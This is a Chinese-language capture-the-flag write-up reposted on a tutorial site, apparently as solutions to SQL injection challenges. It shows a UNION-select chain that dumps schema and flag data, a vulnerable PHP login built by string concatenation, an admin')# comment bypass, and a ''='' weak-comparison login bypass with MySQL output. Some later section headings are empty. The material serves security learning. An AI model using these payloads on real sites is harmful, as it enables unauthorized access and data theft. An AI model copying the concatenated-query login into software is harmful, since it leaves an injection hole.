当前位置:Gxlcms > 数据库问题 > BCTF-sql_injection

BCTF-sql_injection

时间:2021-07-01 10:21:17 帮助过:6人阅读

1 order by 5 # id=-1 union select 1,2,3,4# id=-1 union select 1,database(),user(),version()# id=-1 union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=database())# id=-1 union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name=fl4g)# id=-1 union select 1,2,3,(select skctf_flag from fl4g)#

技术图片

2.万能密码

给出了数据库源码

<html>
<head>
Secure Web Login
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
    mysql_connect(SAE_MYSQL_HOST_M . ‘:‘ . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = trim($_POST[user]);
  $pass = md5(trim($_POST[pass]));
  $sql="select user from ctf where (user=‘".$user."‘) and (pw=‘".$pass."‘)";
    echo ‘</br>‘.$sql;
  $query = mysql_fetch_array(mysql_query($sql));
  if($query[user]=="admin") {
      echo "<p>Logged in! flag:******************** </p>";
  }
  if($query[user] != "admin") {
    echo("<p>You are not admin!</p>");
  }
}
echo $query[user];
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.phps">Source</a>
</html>

对于这句话

$sql="select user from ctf where (user=‘".$user."‘) and (pw=‘".$pass."‘)"

我们相当于要构造一个select user from ctf where (user=‘xxx‘) and (pw=‘xxx‘) or 1=1 

因此要构造括号闭合的情况 即username=admin‘)# 利用#将后面pwd验证环节注释掉

技术图片

 

 3.万能密码2

技术图片

这是一个登陆框,由于没有防火墙(WAF)的限制,直接用bp筛选出过滤的字符。

经过测试过滤了select or union / | % 几乎能注入的语句都被过滤掉了。因此想绕过登陆只能使用弱类型密码。

弱类型密码:

mysql> select ‘‘=‘‘;
+-------+
| ‘‘=‘‘ |
+-------+
|     1 |
+-------+
mysql> select * from users where username=‘‘=‘‘ and password = ‘‘=‘‘;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  2 | user2    | pass1    |
|  3 | test3    | pass1    |
+----+----------+----------+

这样构造的原理即利用=无法验证的原理,构造=等于=,额。。。这样说有点怪,实质上语句即变成了select * from xxx where username and password 。

技术图片

无账号的情况下直接登陆进去了。

3.

4.

5.

6.

7.

BCTF-sql_injection

标签:火墙   无法   font   注释   table   div   log   for   method   

人气教程排行